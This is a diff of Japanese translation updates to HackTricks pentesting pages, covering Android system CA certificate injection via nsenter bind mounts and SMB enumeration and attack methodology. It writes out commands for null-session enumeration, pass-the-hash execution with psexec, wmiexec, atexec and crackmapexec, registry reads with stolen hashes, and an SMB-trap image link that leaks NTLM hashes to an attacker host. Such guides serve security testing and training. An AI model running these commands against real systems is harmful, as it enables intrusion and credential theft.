+**APEX cacerts path** を書き込み可能にリマウントしようとしても失敗します。システムはそのような操作を許可しません。ディレクトリをアンマウントしたり、一時的なファイルシステム (tmpfs) でオーバーレイしようとしても不変性を回避できず、アプリケーションはファイルシステムレベルの変更に関わらず元の証明書データにアクセスし続けます。これは **`/apex`** のマウントが PRIVATE プロパゲーションで設定されているためで、`/apex` 内の変更が他のプロセスに影響を与えないようになっています。
-Android の初期化では `init` プロセスが起動し、OS の起動時に Zygote プロセスも立ち上げます。Zygote は、新しいマウントネームスペースを持つアプリケーションプロセスを起動する役割を担っており、そのネームスペースには private な **`/apex`** マウントが含まれます。これにより、このディレクトリへの変更は他のプロセスから分離されます。
+Android の初期化では `init` プロセスが OS 起動時に Zygote プロセスを起動します。Zygote は新しいマウントネームスペースを持つアプリケーションプロセスを起動する役割を担っており、そのネームスペースにはプライベートな **`/apex`** マウントが含まれるため、このディレクトリへの変更は他のプロセスから隔離されます。
-それでも、**`/apex`** ディレクトリ内の system-trusted CA 証明書を修正する必要がある場合の回避策が存在します。これは、**`/apex`** の PRIVATE propagation を解除して書き込み可能にするために手動で remount する方法です。手順は、**`/apex/com.android.conscrypt`** の内容を別の場所にコピーし、**`/apex/com.android.conscrypt`** をアンマウントして読み取り専用の制約を取り除き、内容を **`/apex`** の元の場所に戻す、というものです。この操作はシステムクラッシュを避けるために素早く行う必要があります。変更をシステム全体に反映させるためには、`system_server` を再起動する(これにより全アプリケーションが実質的に再起動され、システムが整合した状態になる)ことを推奨します。
+それでも、**`/apex`** ディレクトリ内の system-trusted CA 証明書を変更する必要がある場合の回避策は存在します。これは **`/apex`** の PRIVATE プロパゲーションを解除して書き込み可能にするために手動で再マウントする方法です。手順は、**`/apex/com.android.conscrypt`** の内容を別の場所にコピーし、読み取り専用の制約を取り除くために **`/apex/com.android.conscrypt`** をアンマウントし、その後内容を元の **`/apex`** 内に復元する、というものです。この操作はシステムクラッシュを避けるために素早く行う必要があります。変更をシステム全体に確実に反映させるには、すべてのアプリケーションを再起動してシステムを整合状態に戻す `system_server` の再起動が推奨されます。
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@@ -133,24 +133,24 @@ echo "System certificate injected"
```
### Bind-mounting through NSEnter
-1. **Setting Up a Writable Directory**: 最初に、既存の non-APEX システム証明書ディレクトリの上に `tmpfs` をマウントして、書き込み可能なディレクトリを作成します。これは以下のコマンドで実行します:
+1. **書き込み可能なディレクトリの設定**: 最初に、既存の非-APEXシステム証明書ディレクトリの上に`tmpfs`をマウントして書き込み可能なディレクトリを作成します。これは次のコマンドで実行されます:
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
-2. **CA証明書の準備**: 書き込み可能なディレクトリを設定した後、使用する CA certificates をそのディレクトリにコピーします。これはデフォルトの証明書を `/apex/com.android.conscrypt/cacerts/` からコピーすることを含む場合があります。これらの証明書のパーミッションと SELinux ラベルを適切に調整することが重要です。
-3. **Zygote 用の Bind Mount**: `nsenter` を用いて Zygote の mount namespace に入ります。Zygote は Android アプリケーションを起動するプロセスであり、この手順により以降に起動されるすべてのアプリが新しく設定した CA certificates を利用するようになります。使用するコマンドは:
+2. **Preparing CA Certificates**: 書き込み可能なディレクトリをセットアップした後、使用する CA 証明書をこのディレクトリにコピーします。これには、デフォルトの証明書を `/apex/com.android.conscrypt/cacerts/` からコピーすることが含まれる場合があります。これらの証明書のパーミッションと SELinux ラベルを適切に調整することが重要です。
+3. **Bind Mounting for Zygote**: `nsenter` を利用して Zygote のマウント名前空間に入ります。Zygote は Android アプリケーションの起動を担当するプロセスであり、この手順によりこれ以降に起動されるすべてのアプリケーションが新しく設定した CA 証明書を利用するようになります。使用するコマンドは:
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
-これにより、新しく起動するすべてのアプリが更新された CA certificates の設定に従うようになります。
+これにより、起動するすべての新しいアプリが更新された CA 証明書の設定に従うようになります。
-4. **実行中のアプリへの変更適用**: 既に実行中のアプリに変更を適用するには、`nsenter` を再度使用して各アプリの namespace に個別に入り、同様の bind mount を行います。必要なコマンドは:
+4. **実行中のアプリに変更を適用する**: 既に実行中のアプリに変更を適用するには、`nsenter` を再度使用して各アプリの namespace に個別に入り、同様の bind mount を実行します。必要なコマンドは:
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
-5. **代替アプローチ - ソフト再起動**:別の方法としては、`init` プロセス(PID 1)で bind mount を実行し、その後 `stop && start` コマンドでオペレーティングシステムをソフト再起動する方法があります。このアプローチは変更をすべての namespaces に伝播させ、各実行中の app を個別に対処する必要を回避します。ただし、再起動の手間がかかるため、この方法は一般的にはあまり好まれません。
+5. **代替アプローチ - Soft Reboot**: 別の方法として、`init`プロセス(PID 1)でbind mountを実行し、続いて`stop && start`コマンドでオペレーティングシステムをソフトリブートする手法があります。このアプローチは変更をすべてのnamespacesに伝播させ、個々の実行中のappに対処する必要を回避します。ただし、再起動の手間があるため、一般的にはあまり好まれません。
-## 参考資料
+## References
- [Android 14: Install a system CA certificate on a rooted device](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md
index 757fe9d06..a9c090fbf 100644
--- a/src/network-services-pentesting/pentesting-smb/README.md
+++ b/src/network-services-pentesting/pentesting-smb/README.md
@@ -4,45 +4,43 @@
## **Port 139**
-The _**Network Basic Input Output System**_** (NetBIOS)** は、ローカルエリアネットワーク (LAN) 内のアプリケーション、PC、およびデスクトップがネットワークハードウェアとやり取りし、**ネットワーク上でのデータ伝送を容易にする**ために設計されたソフトウェアプロトコルです。
-
-NetBIOS ネットワーク上で動作するソフトウェアアプリケーションの識別と位置特定は、それらの NetBIOS 名を通じて行われます。NetBIOS 名は最大 16 文字まで許容され、しばしばコンピュータ名とは異なります。2 つのアプリケーション間の NetBIOS セッションは、一方のアプリケーション(クライアントとして動作)が他方のアプリケーション(サーバとして動作)を "call" するコマンドを発行し、**TCP Port 139** を利用することで開始されます。
+_**Network Basic Input Output System**_** (NetBIOS)** は、ローカルエリアネットワーク (LAN) 内のアプリケーション、PC、およびデスクトップがネットワークハードウェアとやり取りし、**ネットワーク上でのデータ伝送を容易にする**ために設計されたソフトウェアプロトコルです。NetBIOSネットワーク上で動作するソフトウェアアプリケーションの識別と位置特定は、その NetBIOS names によって行われます。NetBIOS names は最大16文字で、しばしばコンピュータ名とは異なります。2つのアプリケーション間の NetBIOS セッションは、あるアプリケーション(クライアントとして動作)が別のアプリケーション(サーバーとして動作)に「call」コマンドを発行し、**TCP Port 139** を利用することで開始されます。
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
-技術的には、Port 139 は ‘NBT over IP’ と呼ばれ、Port 445 は ‘SMB over IP’ として識別されます。頭字語 **SMB** は ‘**Server Message Blocks**’ を表し、現代では **Common Internet File System (CIFS)** としても知られています。アプリケーション層のネットワークプロトコルとして、SMB/CIFS は主にファイル、プリンタ、シリアルポートへの共有アクセスを可能にし、ネットワーク上のノード間でさまざまな通信を行うために使用されます。
+技術的には、Port 139 は 'NBT over IP' と呼ばれ、Port 445 は 'SMB over IP' と識別されます。頭字語 **SMB** は '**Server Message Blocks**' の略で、現在では **Common Internet File System (CIFS)** としても知られています。アプリケーション層のネットワークプロトコルとして、SMB/CIFS は主にファイル、プリンタ、シリアルポートへの共有アクセスを可能にし、ネットワーク上のノード間でさまざまな通信を行うために使用されます。
-例えば、Windows の文脈では、SMB は Port 445 を利用して TCP/IP 上で直接動作でき、NetBIOS over TCP/IP の必要性を排除できることが強調されます。逆に、他のシステムでは Port 139 の使用が見られ、SMB が NetBIOS over TCP/IP と組み合わせて実行されていることを示しています。
+例えば、Windows の文脈では、SMB が port 445 を利用して直接 TCP/IP 上で動作できるため、NetBIOS over TCP/IP を必須としないことが強調されます。逆に他のシステムでは port 139 が使用されることがあり、これは SMB が NetBIOS over TCP/IP と併用されていることを示します。
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
-The **Server Message Block (SMB)** プロトコルは、**client-server** モデルで動作し、プリンタやルータなどの他のネットワークリソースと同様に、ディレクトリやファイルへの **access to files** を管理するよう設計されています。主に **Windows** 系のオペレーティングシステムで利用され、SMB は後方互換性を維持しているため、新しいバージョンの OS を搭載した端末が古いバージョンの端末とシームレスにやり取りできるようになっています。さらに、**Samba** プロジェクトは無償のソフトウェア実装を提供しており、**Linux** や **Unix** 系でも SMB を利用可能にすることで、プラットフォーム間の通信を可能にします。
+The **Server Message Block (SMB)** プロトコルは **client-server** モデルで動作し、**access to files** やディレクトリ、プリンタやルータなどの他のネットワークリソースへのアクセスを制御するために設計されています。主に **Windows** オペレーティングシステム系列で利用され、SMB は後方互換性を確保しているため、Microsoft の新しいバージョンの OS を搭載した機器が古いバージョンを実行する機器とシームレスにやり取りできます。さらに、**Samba** プロジェクトは無償のソフトウェアソリューションを提供しており、SMB を **Linux** や Unix システムで実装できるようにして、SMB を介したクロスプラットフォームの通信を可能にします。
-Shares(**arbitrary parts of the local file system** を表す)は SMB サーバによって提供され、クライアントから見た階層はサーバの実際の構造とは部分的に **independent** になります。**Access Control Lists (ACLs)** は **access rights** を定義し、ユーザ権限に対して **fine-grained control** を可能にします。これには **`execute`**, **`read`**, および **`full access`** といった属性が含まれます。これらの権限は共有ごとに個別のユーザやグループに割り当てられ、サーバ上のローカル権限とは区別されます。
+Shares はローカルファイルシステムの **arbitrary parts of the local file system** を表し、SMB サーバによって提供されることでクライアントに見える階層がサーバの実際の構造から部分的に **independent** になります。**Access Control Lists (ACLs)** は **access rights** を定義し、ユーザー権限に対して **fine-grained control** を可能にします。これには **`execute`**, **`read``,** `full access` のような属性が含まれます。これらの権限はシェア単位で個々のユーザーまたはグループに割り当てることができ、サーバ上に設定されたローカル権限とは区別されます。
### IPC$ Share
-IPC$ share へのアクセスは anonymous null session を通じて取得でき、named pipes を介して公開されているサービスとやり取りすることができます。この用途にはユーティリティ `enum4linux` が有用です。適切に利用すると、以下を取得できます:
+IPC$ share へのアクセスは anonymous null session を通じて取得でき、named pipes を介して公開されているサービスとやり取りすることが可能です。この目的にはユーティリティ `enum4linux` が有用です。適切に利用すると、以下の情報を取得できます:
- オペレーティングシステムに関する情報
- 親ドメインの詳細
-- ローカルユーザとグループの一覧
-- 利用可能な SMB shares に関する情報
-- 有効なシステムセキュリティポリシー
+- ローカルユーザーおよびグループの一覧
+- 利用可能な SMB シェアに関する情報
+- 実効システムセキュリティポリシー
-この機能は、ネットワーク上の SMB (Server Message Block) サービスのセキュリティ状況を評価するために、ネットワーク管理者やセキュリティ担当者にとって重要です。`enum4linux` はターゲットシステムの SMB 環境を包括的に把握する手段を提供し、潜在的な脆弱性の特定や SMB サービスが適切に保護されていることを確認する上で不可欠です。
+この機能はネットワーク管理者やセキュリティ担当者がネットワーク上の SMB (Server Message Block) サービスのセキュリティ姿勢を評価する上で重要です。`enum4linux` はターゲットシステムの SMB 環境を包括的に把握するための情報を提供し、潜在的な脆弱性の特定や SMB サービスが適切に保護されていることを確認するために不可欠です。
```bash
enum4linux -a target_ip
```
-上のコマンドは、`enum4linux` を使用して `target_ip` で指定されたターゲットに対してフル列挙を実行する例です。
+上記のコマンドは、`target_ip`で指定したターゲットに対して `enum4linux` を用いてフル列挙を行う例です。
-## NTLMとは
+## NTLMとは何か
-NTLMが何か分からない場合、またはその仕組みや悪用方法を知りたい場合は、**NTLM** に関するこのページが非常に参考になります。そこでは**このプロトコルがどのように動作し、どのように悪用できるか**が説明されています:
+NTLMが何か分からない場合、またはその仕組みや悪用方法を知りたい場合は、**NTLM**に関するこのページが非常に参考になります。そこでは**このプロトコルがどのように動作し、どのように活用できるか**が説明されています:
{{#ref}}
@@ -51,15 +49,15 @@ NTLMが何か分からない場合、またはその仕組みや悪用方法を
## **サーバー列挙**
-### **Scan** ネットワーク上でホストを検索する:
+### **スキャン** ネットワーク内のホストを検索する:
```bash
nbtscan -r 192.168.0.1/24
```
-### SMB サーバーのバージョン
+### SMB サーバのバージョン
-SMBのバージョンに対する可能なexploitsを探すには、使用されているバージョンを把握することが重要です。もしこの情報が他のツールで得られない場合、次の方法が使えます:
+SMB バージョンに対する exploits を探すには、どのバージョンが使われているかを把握することが重要です。他の使用しているツールにこの情報が表示されない場合は、次を試してください:
-- **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**` を使用する
+- **MSF** の auxiliary モジュール `**auxiliary/scanner/smb/smb_version**` を使用する
- またはこのスクリプト:
```bash
#!/bin/sh
@@ -77,14 +75,14 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
-### **exploitを検索**
+### **exploitの検索**
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
-### **可能な** Credentials
+### **可能な** 認証情報
-| **Username(s)** | **Common passwords** |
+| **ユーザー名** | **一般的なパスワード** |
| -------------------- | ----------------------------------------- |
| _(blank)_ | _(blank)_ |
| guest | _(blank)_ |
@@ -122,9 +120,9 @@ rpcclient -U "username%passwd" #With creds
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]
```
-### ユーザー、グループ、ログオンユーザーの列挙
+### ユーザー、グループ、ログオン中のユーザーの列挙
-この情報は既に enum4linux および enum4linux-ng から収集されているはずです。
+この情報は既に enum4linux と enum4linux-ng から収集されているはずです。
```bash
crackmapexec smb 10.10.10.10 --users [-u -p ]
crackmapexec smb 10.10.10.10 --groups [-u -p ]
@@ -136,7 +134,7 @@ rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
```
-### ローカルユーザーを列挙する
+### ローカルユーザーの列挙
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash
@@ -159,13 +157,13 @@ run
rpcclient-enumeration.md
{{#endref}}
-### LinuxからのGUI接続
+### linux からの GUI 接続
#### ターミナルで:
`xdg-open smb://cascade.htb/`
-#### ファイルブラウザのウィンドウで (nautilus, thunar, etc)
+#### ファイルブラウザのウィンドウ (nautilus, thunar, etc)
`smb://friendzone.htb/general/`
@@ -173,7 +171,7 @@ rpcclient-enumeration.md
### 共有フォルダの一覧
-アクセス可能なものがないか常に確認することをおすすめします。認証情報がない場合は **null** **credentials/guest user** を試してください。
+何かにアクセスできないか常に確認することをおすすめします。credentials を持っていない場合は **null** **credentials/guest user** を試してください。
```bash
smbclient --no-pass -L // # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@@ -201,7 +199,7 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t
```
### **手動で Windows の共有を列挙して接続する**
-ホストマシンの共有を表示することが制限されており、リストを取得しようとすると接続可能な共有がないように見えることがあります。したがって、短時間で手動で共有に接続を試みる価値があります。共有を手動で列挙する際は、有効なセッション(e.g. null session or valid credentials)を使った場合に NT_STATUS_ACCESS_DENIED や NT_STATUS_BAD_NETWORK_NAME のような応答を探すとよいでしょう。これらは、共有が存在するがアクセス権がないか、または共有自体が存在しないことを示している可能性があります。
+ホストマシンの共有が表示されないよう制限されている場合があり、一覧表示しようとしても接続可能な共有が存在しないように見えることがあります。したがって、短時間で手動で共有に接続してみる価値があります。共有を手動で列挙する際は、valid session(例: null session や valid credentials)で NT_STATUS_ACCESS_DENIED や NT_STATUS_BAD_NETWORK_NAME といったレスポンスを探してください。これらは、共有が存在するがアクセス権がないのか、共有自体が存在しないのかを示す手掛かりになります。
Common share names for windows targets are
@@ -214,14 +212,14 @@ Common share names for windows targets are
- SYSVOL
- NETLOGON
-(共通の共有名は _**Network Security Assessment 3rd edition**_ より)
+(Common share names from _**Network Security Assessment 3rd edition**_)
You can try to connect to them by using the following command
```bash
smbclient -U '%' -N \\\\\\ # null session to connect to a windows share
smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password)
```
-またはこの script(null session を使用)
+またはこのスクリプト(null sessionを使用)
```bash
#/bin/bash
@@ -243,7 +241,7 @@ done
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
-### **Windows上で共有を列挙する(サードパーティ製ツール不要)**
+### **Windowsで共有を列挙する(サードパーティ製ツール不要)**
PowerShell
```bash
@@ -262,14 +260,14 @@ net share
# List shares on a remote computer (including hidden ones)
net view \\ /all
```
-MMC Snap-in (グラフィカル)
+MMC スナップイン(グラフィカル)
```shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
-explorer.exe(グラフィカル)、`\\\` を入力すると利用可能な非隠し共有が表示されます。
+explorer.exe (グラフィカル)で、`\\\` を入力すると、利用可能な非表示でない共有が表示されます。
### 共有フォルダをマウントする
```bash
@@ -278,7 +276,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **ファイルのダウンロード**
-接続方法については前のセクションを参照し、credentials/Pass-the-Hash を学んでください。
+前のセクションを参照して、credentials/Pass-the-Hash を使って接続する方法を学んでください。
```bash
#Search a file and download
sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@@ -293,14 +291,14 @@ smbclient ///
> mget *
#Download everything to current directory
```
-コマンド:
+Commands:
-- mask: ディレクトリ内のファイルをフィルタリングするためのマスクを指定します(例: "" はすべてのファイル)
-- recurse: 再帰をオンに切り替えます(デフォルト: off)
-- prompt: ファイル名の入力プロンプトをオフにします(デフォルト: on)
-- mget: mask に一致するすべてのファイルをホストからクライアントマシンにコピーします
+- mask: ディレクトリ内のファイルをフィルタリングするために使用されるマスクを指定します(例: "" は全ファイル)
+- recurse: 再帰をオンにする切り替え(既定: オフ)
+- prompt: ファイル名のプロンプトをオフにする切り替え(既定: オン)
+- mget: マスクに一致するすべてのファイルをホストからクライアントにコピーします
-(_smbclient の manページからの情報_)
+(_smbclient の man ページからの情報_)
### ドメイン共有フォルダの検索
@@ -308,57 +306,57 @@ smbclient ///
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
-- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) の spider.
+- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
- `-M spider_plus [--share ]`
- `--pattern txt`
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
-Shares の中で特に注目すべきは **`Registry.xml`** というファイルで、Group Policy を介して **autologon** に設定されたユーザの **passwords** を含んでいる可能性があります。また **`web.config`** ファイルにも認証情報が含まれていることがあります。
+Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.
> [!TIP]
-> ドメイン内のすべての認証済みユーザから **SYSVOL share** は **読み取り可能** です。そこには多くの batch、VBScript、PowerShell の **scripts** が見つかることがあります。\
-> その中の **scripts** を確認すべきで、**passwords** のような機密情報が見つかるかもしれません。
+> The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
+> You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
-## レジストリの読み取り
+## Read Registry
-見つかった資格情報を使って **レジストリを読み取る** ことができる場合があります。Impacket **`reg.py`** で試すことができます:
+You may be able to **read the registry** using some discovered credentials. Impacket **`reg.py`** allows you to try:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
-## Post Exploitation
+## ポストエクスプロイテーション
-**デフォルトの設定** の **Samba** サーバーは通常 `/etc/samba/smb.conf` にあり、いくつかの **危険な設定** を含んでいる可能性があります:
+The **デフォルトの設定** a **Samba** サーバは通常 `/etc/samba/smb.conf` にあり、いくつかの **危険な設定** が含まれている可能性があります:
| **設定** | **説明** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | 利用可能な共有を一覧表示できるか? |
-| `read only = no` | ファイルの作成と変更を禁止するか? |
+| `read only = no` | ファイルの作成および変更を禁止するか? |
| `writable = yes` | ユーザーがファイルを作成および変更できるようにするか? |
-| `guest ok = yes` | パスワードを使わずにサービスへ接続できるようにするか? |
-| `enable privileges = yes` | 特定の SID に割り当てられた権限を尊重するか? |
-| `create mask = 0777` | 新規作成されたファイルにどの権限を割り当てるべきか? |
-| `directory mask = 0777` | 新規作成されたディレクトリにどの権限を割り当てるべきか? |
-| `logon script = script.sh` | ユーザーのログイン時にどのスクリプトを実行する必要があるか? |
-| `magic script = script.sh` | スクリプトが閉じられたときにどのスクリプトを実行するべきか? |
+| `guest ok = yes` | パスワードを使用せずにサービスへ接続を許可するか? |
+| `enable privileges = yes` | 特定のSIDに割り当てられた権限を尊重するか? |
+| `create mask = 0777` | 新たに作成されるファイルにどの権限を割り当てるか? |
+| `directory mask = 0777` | 新たに作成されるディレクトリにどの権限を割り当てるか? |
+| `logon script = script.sh` | ユーザーのログイン時に実行するスクリプトは何か? |
+| `magic script = script.sh` | スクリプトが終了したときにどのスクリプトを実行するか? |
| `magic output = script.out` | magic script の出力をどこに保存するか? |
-The command `smbstatus` gives information about the **サーバー** and about **誰が接続しているか**.
+`/etc/samba/smb.conf` の設定や共有の状態は `smbstatus` コマンドで確認できます。`smbstatus` コマンドは **サーバー** と **誰が接続しているか** に関する情報を表示します。
-## Kerberos を使用して認証
+## Kerberos を使った認証
-smbclient と rpcclient を使用して Kerberos に認証できます:
+ツール **smbclient** と **rpcclient** を使用して **Kerberos** に **認証** することができます:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```
-## **コマンドの実行**
+## **コマンド実行**
### **crackmapexec**
-crackmapexecは、**悪用して**任意の**mmcexec, smbexec, atexec, wmiexec**を利用してコマンドを実行できます。**wmiexec**が**デフォルト**の方法です。使用するオプションはパラメータ `--exec-method` で指定できます:
+crackmapexec は **mmcexec, smbexec, atexec, wmiexec** のいずれかを**悪用して**コマンドを実行できます。**wmiexec** が**デフォルト**の方法です。使用するオプションはパラメータ `--exec-method` で指定できます:
```bash
apt-get install crackmapexec
@@ -382,9 +380,9 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
-両方のオプションは被害者マシンに(SMB経由で_\pipe\svcctl_を使用して)**新しいサービスを作成**し、それを使って**何かを実行**します(**psexec**は実行可能ファイルをADMIN$ shareに**upload**し、**smbexec**は**cmd.exe/powershell.exe**を指して引数にpayloadを入れます --**file-less technique-**-)。\
-**詳細** は [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)and [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)。\
-**kali** では /usr/share/doc/python3-impacket/examples/ にあります
+どちらのオプションも被害者マシン上で **新しいサービスを作成**(SMB 経由で _\pipe\svcctl_ を使用)し、それを使って **何かを実行** します(**psexec** は実行ファイルを ADMIN$ 共有に **upload** し、**smbexec** は **cmd.exe/powershell.exe** を指定して引数に payload を渡します --**file-less technique-**-)。\
+**詳細情報** は [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)and [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
+In **kali** it is located on /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]
@@ -392,19 +390,19 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
-**parameter**`-k` を使用すると、**NTLM** の代わりに **kerberos** で認証できます
+**パラメータ**`-k`を使用すると、**NTLM**の代わりに**kerberos**で認証できます
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
-ディスクに触れたり新しいサービスを起動したりせず、DCOM を介してコマンドシェルをステルスに実行します(**port 135.** 経由)。\
-**kali** では /usr/share/doc/python3-impacket/examples/ にあります
+DCOM経由(**port 135.**)でディスクに触れたり新しいサービスを起動したりせずに、コマンドシェルをステルス実行できます。\
+**kali**では /usr/share/doc/python3-impacket/examples/ にあります
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@] #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
-**パラメータ**`-k` を使用すると、**NTLM** の代わりに **kerberos** に対して認証できます。
+**パラメータ**`-k` を使用すると、**kerberos** に対して **NTLM** の代わりに認証できます。
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]
@@ -413,8 +411,8 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
```
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
-Task Schedulerを介してコマンドを実行する(SMB経由で _\pipe\atsvc_ を使用)。\
-**kali**では /usr/share/doc/python3-impacket/examples/ にあります
+Task Scheduler を介してコマンドを実行します(_\pipe\atsvc_ via SMB)。\
+**kali** では /usr/share/doc/python3-impacket/examples/ にあります
```bash
./atexec.py [[domain/]username[:password]@] "command"
./atexec.py -hashes administrator@10.10.10.175 "whoami"
@@ -438,21 +436,21 @@ ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
```
## SMB relay attack
-この攻撃は Responder toolkit を使用して内部ネットワーク上の **SMB authentication sessions** をキャプチャし、それらを **target machine** に **relays** します。認証 **session is successful** の場合、自動的に **system** **shell** に落ちます。\
+この攻撃は Responder toolkit を使用して、内部ネットワーク上の **SMB authentication sessions** をキャプチャし、それらを **target machine** にリレーします。認証 **session** が成功すると、自動的に **system** **shell** に入ります。\
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
Windows ライブラリ URLMon.dll は、ページが SMB 経由でコンテンツにアクセスしようとすると自動的にホストへ認証を試みます。例えば: `img src="\\10.10.10.10\path\image.jpg"`
-これは以下の関数で発生します:
+This happens with the functions:
- URLDownloadToFile
- URLDownloadToCache
- URLOpenStream
- URLOpenBlockingStream
-これらは一部のブラウザやツール(Skype のような)で使用されます
+Which are used by some browsers and tools (like Skype)
.png>)
@@ -462,11 +460,11 @@ Windows ライブラリ URLMon.dll は、ページが SMB 経由でコンテン
## NTLM Theft
-SMB Trapping と同様に、ターゲットシステム上に悪意あるファイルを配置すること(例えば SMB 経由)が SMB 認証の試行を誘発し、NetNTLMv2 ハッシュを Responder のようなツールで傍受できるようになります。そのハッシュはオフラインでクラックするか、[SMB relay attack](#smb-relay-attack) に使用できます。
+SMB Trapping と同様に、悪意のあるファイルを target system に置く(例えば SMB 経由で)ことで SMB 認証試行を誘発し、Responder のようなツールで NetNTLMv2 ハッシュを傍受できます。傍受したハッシュはオフラインでクラックするか、[SMB relay attack](#smb-relay-attack) に使用できます。
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
-## HackTricks Automatic Commands
+## HackTricks 自動コマンド
```
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md
index 6d8336627..f6a3fdf9f 100644
--- a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md
+++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md
@@ -1,16 +1,16 @@
-# ksmbd 攻撃面と SMB2/SMB3 プロトコルのファジング (syzkaller)
+# ksmbd 攻撃面 & SMB2/SMB3 Protocol Fuzzing (syzkaller)
{{#include ../../banners/hacktricks-training.md}}
## 概要
